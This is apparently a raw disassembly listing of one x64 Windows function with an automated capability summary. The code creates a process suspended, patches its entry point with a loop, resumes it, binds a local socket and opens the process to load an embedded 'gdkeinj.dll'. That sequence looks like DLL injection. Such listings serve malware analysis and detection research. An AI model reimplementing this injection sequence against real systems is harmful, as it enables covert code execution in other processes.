Function at 0x14000fce4
Capabilities:
Create process on windows
Create process suspended
Create tcp socket
Create thread
Create udp socket
Encrypt data using speck
Receive data
Receive data on socket
Resolve dns
Resume thread
Schedule task via at
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1868
call fcn.140040df0
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x17d0], xmm6
mov qword [rbp + 0x17c8], 0xfffffffffffffffe
mov rsi, r8
mov rdi, rdx
mov qword [rbp + 0x16d8], rcx
lea rbx, [rbp + 0x1170]
mov rcx, rbx
xor r9d, r9d
call case.0x14003a46b.171
cmp dword [rbx], 2
jne 0x14000fdb4
mov rbx, qword [rbp + 0x1178]
mov eax, ebx
and eax, 3
cmp rax, 2
jne 0x1400131d6
mov rax, rbx
shr rax, 0x20
cmp eax, 0x780
jne 0x1400131d6
mov qword [rbp + 0x1038], rbx
lea rcx, [rbp - 0x30]
mov rdx, rdi
mov r8, rsi
mov r9d, 0x200000
call case.0x14003a46b.171
cmp dword [rbp - 0x30], 2
je 0x1400131cd
mov r14d, dword [rbp + 0x10]
mov r15d, dword [rbp + 0x14]
bt r14d, 0xa
jae 0x14000fda6
mov eax, r15d
and eax, 0x20000000
jne 0x1400131d6
lea rcx, [rbp + 0x1038]
call fcn.1400312e0
jmp 0x14000fdc2
mov r14d, dword [rbp + 0x11b0]
mov r15d, dword [rbp + 0x11b4]
bt r14d, 0xa
setae al
bt r15d, 0x1d
setae cl
or cl, al
cmp cl, 1
jne 0x1400131e9
and r14d, 0x10
jne 0x1400131e9
lea rbx, [rbp + 0x1170]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.140003050
movabs rax, 0x8000000000000000
cmp qword [rbx], rax
jne 0x1400130e6
mov rdx, qword [rbp + 0x1178]
mov rax, qword [rbp + 0x1180]
mov qword [rbp + 0x1648], rax
lea rax, [rbp + 0x1038]
and dword [rax], 0
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
movdqu xmmword [rax + 0x18], xmm0
movdqu xmmword [rax + 0x28], xmm0
movdqu xmmword [rax + 0x34], xmm0
movdqu xmmword [rax + 0x48], xmm0
movdqu xmmword [rax + 0x58], xmm0
lea rcx, [rbp + 0x1110]
movdqa xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
and dword [rsp + 0x20], 0
xor ecx, ecx
mov qword [rbp + 0x1650], rdx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x140010147
pxor xmm0, xmm0
lea r8, [rbp + 0x10a0]
movdqa xmmword [r8 + 0x20], xmm0
movdqa xmmword [r8 + 0x10], xmm0
movdqa xmmword [r8], xmm0
mov rcx, qword [rbp + 0x1110]
lea rax, [rbp - 0x30]
and dword [rax], 0
mov qword [rsp + 0x20], rax
push 0x30
pop r9
xor edx, edx
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov rax, qword [rbp + 0x1110]
mov qword [rbp + 0x1670], rax
mov r14d, dword [rbp + 0x1120]
mov ecx, 0x1fffff
xor edx, edx
mov r8d, r14d
call sub.kernel32.dll_OpenProcess
mov qword [rbp + 0x16c0], rax
mov rdi, qword [rbp + 0x16c0]
lea rax, [rdi - 1]
cmp rax, 0xfffffffffffffffe
jae 0x140013140
lea rcx, [rbp - 0x30]
mov qword [rcx], 1
movabs rax, 0x8000000000000000
mov qword [rcx + 8], rax
mov dword [rcx + 0x10], r14d
call fcn.14000f8b5
mov r8, qword [rbp + 0x10a8]
add r8, 0x10
lea rsi, [rbp + 0x1580]
and qword [rsi], 0
mov qword [rsp + 0x20], 8
lea rcx, [rbp - 0x30]
mov rdx, rdi
mov r9, rsi
call fcn.14002a131
mov rax, qword [rbp - 0x30]
cmp rax, 9
jne 0x140013189
mov rdi, qword [rbp + 0x1580]
lea rbx, [rbp - 0x30]
mov r8d, 0x1000
mov rcx, rbx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x20], 0x1000
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x16c0]
mov r8, rdi
mov r9, rbx
call fcn.14002a131
mov rax, qword [rbp + 0x1170]
cmp rax, 9
jne 0x1400101cd
mov eax, dword [rbp + 0xc]
test eax, eax
js 0x14001321d
mov eax, dword [rbp + rax - 8]
add rdi, rax
lea rax, [rbp + 0x1668]
mov qword [rax], rdi
mov qword [rbp + 0x1580], rax
lea rax, str.entry__
lea rcx, [rbp + 0x1170]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x14000f5c0]
mov qword [rbp + 0x1588], rax
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 1
call fcn.14003ccb0
mov r8, qword [rbp + 0x1668]
lea r9, [rbp + 0x1720]
and word [r9], 0
mov qword [rsp + 0x20], 2
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x16c0]
call fcn.14002a131
mov rax, qword [rbp + 0x1170]
cmp rax, 9
jne 0x14001324b
movzx eax, word [rbp + 0x1720]
mov word [rbp + 0x16d6], ax
lea r9, [rbp + 0x1666]
mov word [r9], 0xfeeb
mov r8, qword [rbp + 0x1668]
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x16c0]
call fcn.14000fc73
mov rax, qword [rbp + 0x1170]
cmp rax, 9
jne 0x140010200
mov rcx, qword [rbp + 0x1118]
call qword [sym.imp.kernel32.dll_ResumeThread]
lea rdi, str.127.0.0.1:28713failed_to_bind_socket
lea rcx, [rbp + 0x1580]
mov qword [rcx], rdi
mov qword [rcx + 8], 0xf
call fcn.140006940
mov rsi, rax
test sil, 1
je 0x140010265
mov rbx, qword [rbp + 0x1588]
test rbx, rbx
je 0x140010233
mov rax, qword [rbp + 0x1580]
lea rcx, [rbx - 1]
mov dl, byte [rax]
inc rax
mov qword [rbp + 0x1580], rax
mov qword [rbp + 0x1588], rcx
cmp dl, 0x3a
jne 0x140010233
lea rdx, [rbp + 0x1170]
mov dword [rdx + 0x10], 0xa
and qword [rdx], 0
mov byte [rdx + 0x14], 1
lea rcx, [rbp + 0x1580]
call fcn.140007060
cmp ax, 1
jne 0x140010235
jmp 0x140010241
call fcn.14004077a
mov esi, eax
lea rcx, [rbp - 0x30]
call fcn.140037e70
mov rax, qword [rbp - 0x30]
mov rcx, qword [rbp - 8]
mov qword [rbp + 0x1190], rcx
movdqu xmm0, xmmword [rbp - 0x18]
movdqa xmmword [rbp + 0x1180], xmm0
movdqu xmm1, xmmword [rbp - 0x28]
movdqa xmmword [rbp + 0x1170], xmm1
lea rdx, [0x1400494f8]
mov qword [rbp - 0x30], rdx
mov qword [rbp - 0x28], rax
movdqu xmmword [rbp - 0x20], xmm1
movdqu xmmword [rbp - 0x10], xmm0
mov qword [rbp], rcx
and qword [rbp + 8], 0
mov dword [rbp + 0x10], esi
push 0x48
pop rcx
call fcn.14000fc47
push 9
pop rcx
lea rsi, [rbp - 0x30]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rbp + 0x16d8]
mov qword [rcx + 8], rax
mov byte [rcx], 1
jmp 0x14001282b
mov rcx, qword [rbp + 0x1188]
lea rdx, [rbp + 0x1018]
mov qword [rdx + 0x18], rcx
movdqu xmm0, xmmword [rbp + 0x1178]
movdqu xmmword [rdx + 8], xmm0
mov qword [rdx], rax
mov rcx, qword [rbp + 0x16d8]
call fcn.1400142ab
jmp 0x14001281f
mov rcx, qword [rbp + 0x1188]
lea rdx, [rbp + 0xff8]
mov qword [rdx + 0x18], rcx
movdqu xmm0, xmmword [rbp + 0x1178]
movdqu xmmword [rdx + 8], xmm0
mov qword [rdx], rax
mov rcx, qword [rbp + 0x16d8]
call fcn.1400142ab
jmp 0x14001281f
xor eax, eax
mov qword [rbp + 0x1588], rbx
test ax, ax
je 0x140010265
movabs rax, 0xffffffff00
and rsi, rax
shr rsi, 8
push 1
pop rax
movzx ecx, dx
shl rcx, 0x30
shl rsi, 0x10
or rsi, rcx
jmp 0x140010269
xor esi, esi
xor eax, eax
or rax, rsi
cmp ax, 1
mov dword [rbp + 0x1790], r14d
je 0x140010294
movzx eax, ax
test eax, eax
jne 0x1400102a2
mov qword [rbp + 0x1580], rdi
mov qword [rbp + 0x1588], 0xf
jmp 0x1400102a2
cmp qword [rbp + 0x1588], 0
je 0x140010486
mov qword [rbp + 0x1170], rdi
mov qword [rbp + 0x1178], 0xf
and qword [rbp + 0x1180], 0
mov qword [rbp + 0x1190], 1
movabs rax, 0x3a0000003a
mov qword [rbp + 0x1198], rax
push 0xf
pop rsi
mov bl, 0x3a
mov cl, 0x3a
mov rdx, rdi
mov r8, rsi
call fcn.140009230
cmp rax, 1
jne 0x14001030b
mov rsi, rdx
cmp rdx, 0xf
jae 0x1400102fe
cmp byte [rsi + rdi], bl
je 0x140010317
mov qword [rbp + 0x1188], rsi
cmp rsi, 0xf
jbe 0x1400102dd
lea rcx, str.invalid_socket_address
jmp 0x140012fde
lea r15, [rsi + 1]
lea rcx, str.invalid_port_value
cmp r15, 0xf
je 0x140012fde
add rdi, r15
movzx eax, byte [rdi]
push 0xf
pop r8
cmp eax, 0x2d
je 0x140010353
cmp eax, 0x2b
jne 0x14001035d
cmp r15, 0xe
je 0x140012fde
inc rdi
push 0xe
pop r8
jmp 0x14001035d
cmp r15, 0xe
je 0x140012fde
sub r8, r15
cmp r8, 5
jae 0x1400103c7
xor eax, eax
xor ebx, ebx
movzx edx, byte [rdi + rax]
add edx, 0xffffffd0
cmp edx, 9
ja 0x140012fde
imul ebx, ebx, 0xa
add ebx, edx
inc rax
cmp r8, rax
jne 0x14001036a
mov rax, qword [0x1400c0298]
cmp rax, 3
je 0x140010399
call fcn.140045990
cmp rsi, 0x17f
jbe 0x14001040a
lea rdx, str.127.0.0.1:28713failed_to_bind_socket
lea rcx, [rbp + 0x1720]
mov r8, rsi
mov r9d, ebx
call fcn.1400459f0
mov rax, qword [rbp + 0x1720]
jmp 0x1400105b7
xor r9d, r9d
mov r10w, 0xa
xor ebx, ebx
cmp r8, r9
je 0x140010387
movzx r11d, byte [rdi + r9]
mov eax, ebx
mul r10w
seto dl
add r11d, 0xffffffd0
cmp r11d, 9
ja 0x140012fde
test dl, dl
jne 0x140012fde
mov ebx, eax
inc r9
add bx, r11w
jae 0x1400103d1
jmp 0x140012fde
lea rdx, str.127.0.0.1:28713failed_to_bind_socket
lea rdi, [rbp + 0x1170]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rsi + 0x1170], 0
cmp rsi, 0xe
ja 0x14001044e
xor ecx, ecx
cmp byte [rbp + rcx + 0x1170], 0
je 0x14001054b
inc rcx
cmp r15, rcx
jne 0x140010433
jmp 0x1400105a6
lea rax, [rbp + 0x1177]
and rax, 0xfffffffffffffff8
sub rax, rdi
je 0x1400104dd
je 0x1400104dd
xor ecx, ecx
cmp byte [rbp + rcx + 0x1170], 0
je 0x14001054b
inc rcx
cmp rax, rcx
jne 0x140010462
lea rcx, [rsi - 0xf]
cmp rax, rcx
jbe 0x1400104e3
jmp 0x140010526
mov al, byte [0x1400c0320]
push 0x20
pop rcx
call fcn.14003d4f0
test rax, rax
je 0x140013585
and word [rax], 0
mov rdx, rsi
shr rdx, 0x10
and rdx, 0xffffffffffffff00
mov ecx, esi
shr ecx, 0x10
movzx ecx, cl
or rcx, rdx
shr rsi, 0x30
mov word [rax + 6], si
mov dword [rax + 2], ecx
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
mov r13, rax
add r13, 0x20
push 1
pop rcx
jmp 0x1400108c3
lea rcx, [rsi - 0xf]
xor eax, eax
movdqa xmm0, xmmword [0x140046560]
movabs rdx, 0x8080808080808080
movdqu xmm1, xmmword [rbp + rax + 0x1170]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r8, xmm2
test r8, rdx
jne 0x140010526
add rax, 0x10
cmp rax, rcx
jbe 0x1400104f5
sub r15, rax
je 0x1400105a6
lea rdx, [rax + rbp]
add rdx, 0x1170
xor ecx, ecx
cmp byte [rdx + rcx], 0
je 0x140010548
inc rcx
cmp r15, rcx
jne 0x140010538
jmp 0x1400105a6
add rcx, rax
cmp rcx, rsi
jne 0x1400105a6
pxor xmm0, xmm0
lea r8, [rbp + 0x1580]
movdqa xmmword [r8], xmm0
movdqa xmmword [r8 + 0x20], xmm0
movdqa xmmword [r8 + 0x10], xmm0
mov dword [r8 + 8], 1
lea r9, [rbp + 0x16e0]
and qword [r9], 0
lea rcx, [rbp + 0x1170]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1400119a5
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
jmp 0x1400105ad
lea rax, str.p8_v_
mov qword [rbp + 0x1728], rax
push 1
pop rax
test rax, rax
jne 0x1400133f4
lea rdx, [rbp + 0x1728]
movups xmm0, xmmword [rdx]
movzx eax, word [rdx + 0x10]
mov ecx, dword [rdx + 0x12]
mov dword [rbp + 0x1130], ecx
movzx r8d, word [rdx + 0x16]
mov word [rbp + 0x1134], r8w
lea r9, [rbp + 0x10d8]
mov word [r9], ax
movups xmmword [rdx], xmm0
mov word [rdx + 0x10], ax
mov dword [rdx + 0x12], ecx
mov word [rdx + 0x16], r8w
mov qword [rdx - 8], r9
mov byte [rbp + 0x17af], 1
lea rcx, [rbp + 0x1170]
call fcn.14003cf00
movzx esi, word [rbp + 0x1170]
cmp si, 2
jne 0x14001063d
mov rcx, qword [rbp + 0x1728]
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
push 4
pop r13
xor ecx, ecx
mov rax, r13
jmp 0x1400108c3
mov edi, dword [rbp + 0x1172]
movzx ebx, word [rbp + 0x1176]
mov eax, dword [rbp + 0x1188]
mov dword [rbp + 0x1590], eax
movups xmm0, xmmword [rbp + 0x1178]
movaps xmmword [rbp + 0x1580], xmm0
movzx r15d, word [rbp + 0x118c]
movzx r14d, word [rbp + 0x118e]
mov rax, qword [rbp + 0x1720]
movzx r12d, word [rax]
mov al, byte [0x1400c0320]
mov ecx, 0x80
call fcn.14003d4f0
test rax, rax
je 0x14001342d
mov rcx, rax
test si, si
cmovne r15d, r12d
cmove ebx, r12d
lea rdx, [rbp + 0x1588]
mov eax, dword [rdx + 8]
mov dword [rcx + 0x18], eax
movaps xmm0, xmmword [rdx - 8]
movups xmmword [rcx + 8], xmm0
mov word [rcx], si
mov dword [rcx + 2], edi
mov word [rcx + 6], bx
mov word [rcx + 0x1c], r15w
mov word [rcx + 0x1e], r14w
movups xmm0, xmmword [rbp + 0x1720]
movdqu xmm1, xmmword [rbp + 0x1730]
movdqa xmmword [rdx + 8], xmm1
movaps xmmword [rdx - 8], xmm0
push 1
pop r13
push 4
pop rax
mov qword [rbp + 0x17a0], rax
mov qword [rbp + 0x17b8], rcx
mov r15, rcx
lea rcx, [rbp + 0x1170]
lea rdx, [rbp + 0x1588]
call fcn.14003cf00
movzx r12d, word [rbp + 0x1170]
cmp r12w, 2
je 0x140010898
mov r8d, dword [rbp + 0x1172]
movzx edi, word [rbp + 0x1176]
lea rcx, [rbp + 0x1178]
mov eax, dword [rcx + 0x10]
mov dword [rbp + 0x1690], eax
movups xmm0, xmmword [rcx]
movaps xmmword [rbp + 0x1680], xmm0
mov rax, qword [rbp + 0x1580]
movzx esi, word [rax]
test r12w, r12w
mov rbx, qword [rbp + 0x17a0]
jne 0x14001076d
mov edi, esi
movzx esi, word [rbp + 0x118c]
movzx r14d, word [rbp + 0x118e]
cmp r13, rbx
jne 0x14001084c
mov rax, rbx
inc rbx
je 0x1400130dc
add rax, rax
cmp rax, rbx
cmova rbx, rax
cmp rbx, 5
jae 0x14001079d
push 4
pop rbx
xor edx, edx
mov rax, rbx
shr rax, 0x3a
sete al
mov rcx, qword [rbp + 0x17a0]
test rcx, rcx
mov dword [rbp + 0x1788], r8d
je 0x1400107da
shl rcx, 5
mov r8, qword [rbp + 0x17b8]
mov qword [rbp + 0x1170], r8
mov qword [rbp + 0x1180], rcx
push 4
pop rcx
jmp 0x1400107dc
xor ecx, ecx
mov r8, rbx
shl r8, 5
mov dl, al
shl rdx, 2
mov qword [rbp + 0x1178], rcx
lea rcx, [rbp + 0x16e0]
lea r9, [rbp + 0x1170]
call fcn.140031ed0
cmp qword [rbp + 0x16e0], 0
mov r15, qword [rbp + 0x16e8]
je 0x14001083e
movabs rax, 0x8000000000000001
cmp r15, rax
mov r8d, dword [rbp + 0x1788]
jne 0x1400130d7
mov rbx, qword [rbp + 0x17a0]
mov r15, qword [rbp + 0x17b8]
jmp 0x14001084c
mov qword [rbp + 0x17b8], r15
mov r8d, dword [rbp + 0x1788]
mov rax, r13
shl rax, 5
mov word [r15 + rax], r12w
mov dword [r15 + rax + 2], r8d
mov word [r15 + rax + 6], di
movdqa xmm0, xmmword [rbp + 0x1680]
movdqu xmmword [r15 + rax + 8], xmm0
mov ecx, dword [rbp + 0x1690]
mov dword [r15 + rax + 0x18], ecx
mov word [r15 + rax + 0x1c], si
mov word [r15 + rax + 0x1e], r14w
inc r13
mov qword [rbp + 0x17a0], rbx
jmp 0x1400106ff
mov rcx, qword [rbp + 0x1588]
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
mov rax, qword [rbp + 0x17b8]
test rax, rax
mov rcx, qword [rbp + 0x17a0]
je 0x140013446
shl r13, 5
add r13, rax
mov qword [rbp + 0x1170], rax
mov qword [rbp + 0x1178], rax
mov qword [rbp + 0x1180], rcx
mov qword [rbp + 0x1188], r13
lea rcx, [rbp + 0x1680]
and qword [rcx], 0
xor esi, esi
mov qword [rbp + 0x1788], r13
cmp rax, r13
je 0x140012fc4
lea r15, [rax + 0x20]
mov qword [rbp + 0x1178], r15
movzx edi, word [rax]
movzx ecx, word [rax + 0x12]
mov word [rbp + 0x16f0], cx
movups xmm0, xmmword [rax + 2]
movaps xmmword [rbp + 0x16e0], xmm0
cmp di, 2
je 0x140012fc4
mov r14d, dword [rax + 0x14]
mov esi, dword [rax + 0x18]
movzx ebx, word [rax + 0x1c]
movzx eax, word [rbp + 0x16f0]
mov word [rbp + 0x1730], ax
movdqa xmm0, xmmword [rbp + 0x16e0]
movdqa xmmword [rbp + 0x1720], xmm0
mov rax, qword [0x1400c0298]
cmp rax, 3
je 0x140010965
call fcn.140045990
push 2
pop r12
test di, di
je 0x140010972
push 0x17
pop r12
mov dword [rsp + 0x28], 0x81
and dword [rsp + 0x20], 0
mov ecx, r12d
push 2
pop rdx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
mov rcx, rax
cmp rax, 0xffffffffffffffff
je 0x1400109af
test di, di
je 0x140010a14
mov ax, 0x17
movdqu xmm0, xmmword [rbp + 0x1722]
push 0x1c
jmp 0x140010a2c
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2739
je 0x1400109cc
mov r13, rax
cmp r13d, 0x2726
jne 0x140010a7c
mov dword [rsp + 0x28], 1
and dword [rsp + 0x20], 0
mov ecx, r12d
push 2
pop rdx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x140010ab7
mov rcx, rax
mov r12, rax
push 1
pop rdx
xor r8d, r8d
call qword [sym.imp.kernel32.dll_SetHandleInformation]
test eax, eax
je 0x140010ac2
mov rcx, r12
jmp 0x14001099a
movzx ebx, word [rbp + 0x1724]
mov r14d, dword [rbp + 0x1720]
mov ax, 2
pxor xmm0, xmm0
push 0x10
pop r8
rol bx, 8
mov word [rbp + 0x1580], ax
mov word [rbp + 0x1582], bx
mov dword [rbp + 0x1584], r14d
movdqu xmmword [rbp + 0x1588], xmm0
mov dword [rbp + 0x1598], esi
mov rsi, rcx
lea rdx, [rbp + 0x1580]
call qword [sym.imp.ws2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x140010ad0
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r13d, eax
mov rcx, rsi
call qword [sym.imp.ws2_32.dll_closesocket]
shl r13, 0x20
or r13, 2
mov qword [rbp + 0x17a0], r13
lea rcx, [rbp + 0x1680]
call fcn.14000f44e
mov rax, qword [rbp + 0x17a0]
mov rsi, rax
mov qword [rbp + 0x1680], rax
mov rax, r15
mov r13, qword [rbp + 0x1788]
jmp 0x1400108f3
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r13d, eax
jmp 0x140010a7c
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
mov rcx, r12
jmp 0x140010a76
mov qword [rbp + 0x16c8], rsi
lea rcx, [rbp + 0x1170]
call fcn.14000f433
lea rcx, [rbp + 0x1680]
call fcn.14000f44e
mov r8d, dword [rbp + 0x1790]
mov ecx, 0x43a
xor edx, edx
call sub.kernel32.dll_OpenProcess
test rax, rax
je 0x1400132b2
push 1
pop rsi
mov qword [rbp + 0x1170], rsi
mov qword [rbp + 0x1178], rsi
mov qword [rbp + 0x1180], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x1188], xmm0
mov qword [rbp + 0x1198], 8
and qword [rbp + 0x11a0], 0
mov qword [rbp + 0x11a8], rax
push 0x40
pop rcx
call fcn.14000a1be
test rax, rax
je 0x1400132e8
lea rcx, [rbp + 0x1170]
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
and qword [rbp + 0x1588], 0
mov qword [rbp + 0x1580], rax
and qword [rbp + 0x15b8], 0
and qword [rbp + 0x15e8], 0
and qword [rbp + 0x1720], 0
mov qword [rbp + 0x1728], rsi
and qword [rbp + 0x1730], 0
mov qword [rsp + 0x20], rsi
lea rdx, str.gdkeinj.dllfailed_to_get_dll_from_embeded_resources
lea r9, [0x1400b352a]
push 0xb
pop r8
call fcn.140009360
mov rax, qword [rbp + 0x1170]
mov qword [rbp + 0x1798], rax
mov r14, qword [rbp + 0x1178]
mov rax, qword [rbp + 0x1188]
mov rcx, qword [rbp + 0x1190]
mov qword [rbp + 0x1790], rcx
mov r15, qword [rbp + 0x1198]
mov rcx, qword [rbp + 0x11a8]
mov qword [rbp + 0x1788], rcx
mov rbx, qword [rbp + 0x11b8]
mov r13, qword [rbp + 0x11c0]
mov rdi, qword [rbp + 0x11c8]
mov rsi, qword [rbp + 0x11d0]
lea rcx, [rsi - 1]
mov qword [rbp + 0x17b8], rcx
mov rcx, rax
and rcx, 0xffffffffffffff00
mov qword [rbp + 0x17b0], rcx
mov qword [rbp + 0x1678], rax
mov byte [rbp + 0x17a0], al
xor eax, eax
mov qword [rbp + 0x1778], rax
cmp qword [rbp + 0x1798], 0
je 0x140010ddd
movzx edx, byte [rbp + 0x17a0]
or rdx, qword [rbp + 0x17b0]
mov rax, rsi
sub rax, rdx
mov qword [rbp + 0x1780], rax
mov rax, qword [rbp + 0x1788]
mov r12, rax
cmp r14, r12
mov r10, r12
cmova r10, r14
cmp rax, 0xffffffffffffffff
cmove r10, r14
mov r11d, 0
cmovne r11, r12
mov rax, qword [rbp + 0x17b8]
add rax, r15
cmp rax, r13
jae 0x140010f01
movzx eax, byte [rbx + rax]
mov rcx, qword [rbp + 0x1790]
bt rcx, rax
jae 0x140010d0b
lea r9, [rbx + r15]
mov rcx, r10
cmp rcx, rsi
jae 0x140010d1d
mov rax, rcx
add rcx, r15
cmp rcx, r13
jae 0x1400116e1
lea rcx, [rax + 1]
mov r8b, byte [rdi + rax]
cmp r8b, byte [r9 + rax]
je 0x140010cde
sub r15, r14
add r15, rax
inc r15
jmp 0x140010d0e
add r15, rsi
mov rax, qword [rbp + 0x1788]
cmp rax, 0xffffffffffffffff
je 0x140010cb3
jmp 0x140010d67
mov rax, r14
cmp r11, rax
jae 0x140010d6f
dec rax
cmp rax, rsi
jae 0x1400119c8
lea r9, [rax + r15]
cmp r9, r13
jae 0x1400119df
mov cl, byte [rdi + rax]
cmp cl, byte [rbx + r9]
je 0x140010d20
add r15, rdx
mov rax, qword [rbp + 0x1788]
cmp rax, 0xffffffffffffffff
je 0x140010cb3
mov r12, qword [rbp + 0x1780]
jmp 0x140010c97
xor r12d, r12d
jmp 0x140010c97
cmp qword [rbp + 0x1788], 0xffffffffffffffff
mov eax, 0
cmovne r12, rax
lea rax, [r15 + rsi]
mov r8, r15
mov qword [rbp + 0x1780], rax
mov r15, rax
mov qword [rbp + 0x1788], r12
lea r12, [rbp + 0x1720]
lea rax, str.gdkeinj.dllfailed_to_get_dll_from_embeded_resources
mov rdx, qword [rbp + 0x1778]
add rdx, rax
add r8, rax
mov rcx, r12
call fcn.14000380b
mov rcx, r12
lea rdx, [0x140049a38]
lea r8, [0x140049a39]
call fcn.14000380b
mov rax, qword [rbp + 0x1780]
jmp 0x140010c5d
test dword [rbp + 0x1678], 0xff0000
jne 0x140010f01
mov rax, r13
test r14, r14
je 0x140010e0f
mov rax, r13
sub rax, r14
jbe 0x140010e09
cmp byte [rbx + r14], 0xbf
jg 0x140010e0f
jmp 0x1400130b5
jne 0x1400130b5
test rax, rax
je 0x140010eca
mov r8b, byte [rbx + r14]
movzx eax, r8b
test al, al
js 0x140010e2d
lea r12, [rbp + 0x1720]
jmp 0x140010e8a
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rbx + r14 + 1]
and r9d, 0x3f
cmp al, 0xdf
lea r12, [rbp + 0x1720]
jbe 0x140010e7b
movzx eax, byte [rbx + r14 + 2]
shl r9d, 6
and eax, 0x3f
or eax, r9d
cmp r8b, 0xf0
jb 0x140010e85
movzx r8d, byte [rbx + r14 + 3]
and ecx, 7
shl ecx, 0x12
shl eax, 6
and r8d, 0x3f
or r8d, eax
or r8d, ecx
mov eax, r8d
jmp 0x140010e8a
shl ecx, 6
or ecx, r9d
mov eax, ecx
jmp 0x140010e8a
shl ecx, 0xc
or eax, ecx
mov cl, byte [rbp + 0x17a0]
test cl, cl
jne 0x140010ee9
cmp eax, 0x110000
je 0x140010f01
push 1
pop rcx
cmp eax, 0x80
jb 0x140010ebb
push 2
pop rcx
cmp eax, 0x800
jb 0x140010ebb
cmp eax, 0x10000
push 4
pop rcx
sbb rcx, 0
add r14, rcx
mov byte [rbp + 0x17a0], 1
jmp 0x140010ded
cmp byte [rbp + 0x17a0], 0
je 0x140010f01
xor byte [rbp + 0x17a0], 1
mov qword [rbp + 0x1780], r14
mov r8, r14
jmp 0x140010d98
xor cl, 1
mov byte [rbp + 0x17a0], cl
mov qword [rbp + 0x1780], r14
mov r8, r14
jmp 0x140010d9f
lea rdx, str.gdkeinj.dllfailed_to_get_dll_from_embeded_resources
add rdx, qword [rbp + 0x1778]
lea r8, [0x140049883]
lea rcx, [rbp + 0x1720]
call fcn.14000380b
push 0xb
pop r15
mov rdi, qword [rbp + 0x1720]
mov rsi, qword [rbp + 0x1728]
mov rax, qword [rbp + 0x1730]
mov r14, rax
sub r14, 0xb
cmovb r15, rax
neg r14
push 1
pop rcx
xor eax, eax
lea rbx, str.gdkeinj.dllfailed_to_get_dll_from_embeded_resources
cmp rax, rcx
jae 0x140013028
mov rcx, rbx
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
cdqe
test eax, eax
cmove rax, r14
test rax, rax
je 0x140010f85
setle cl
movzx ecx, cl
shr rax, 0x3f
jmp 0x140010f55
mov rcx, rdi
mov rdx, rsi
call fcn.14002127b
lea rax, [rbp + 0x16e0]
and qword [rax], 0
mov qword [rax + 8], 2
and qword [rax + 0x10], 0
mov r8d, 0x200
push 2
pop rax
mov qword [rbp + 0x17a0], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x140010fd9
mov r14d, 0x200
lea r12, [rbp + 0x1170]
mov r13, r8
jmp 0x140011030
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x140011008
lea rcx, [rbp + 0x16e0]
mov rdx, rbx
call fcn.1400456f0
mov rsi, qword [rbp + 0x16e0]
mov rax, qword [rbp + 0x16e8]
mov qword [rbp + 0x17a0], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x16f0], rbx
mov rdi, rsi
mov r14, rbx
mov r12, qword [rbp + 0x17a0]
mov r13, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rax, qword [0x1400c00b0]
mov ecx, r13d
mov rdx, r12
call rax
mov r15d, eax
test eax, eax
jne 0x140011058
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400110bb
mov r8d, r15d
cmp r13, r8
jne 0x140011086
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14001304e
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
mov r8, r13
jmp 0x140010fbe
jb 0x140010fbe
cmp r14, r8
jb 0x14001340a
lea rcx, [rbp + 0x1720]
mov rdx, r12
call fcn.140035280
mov r14, qword [rbp + 0x1720]
mov rdi, qword [rbp + 0x1728]
mov rbx, qword [rbp + 0x1730]
jmp 0x1400110d5
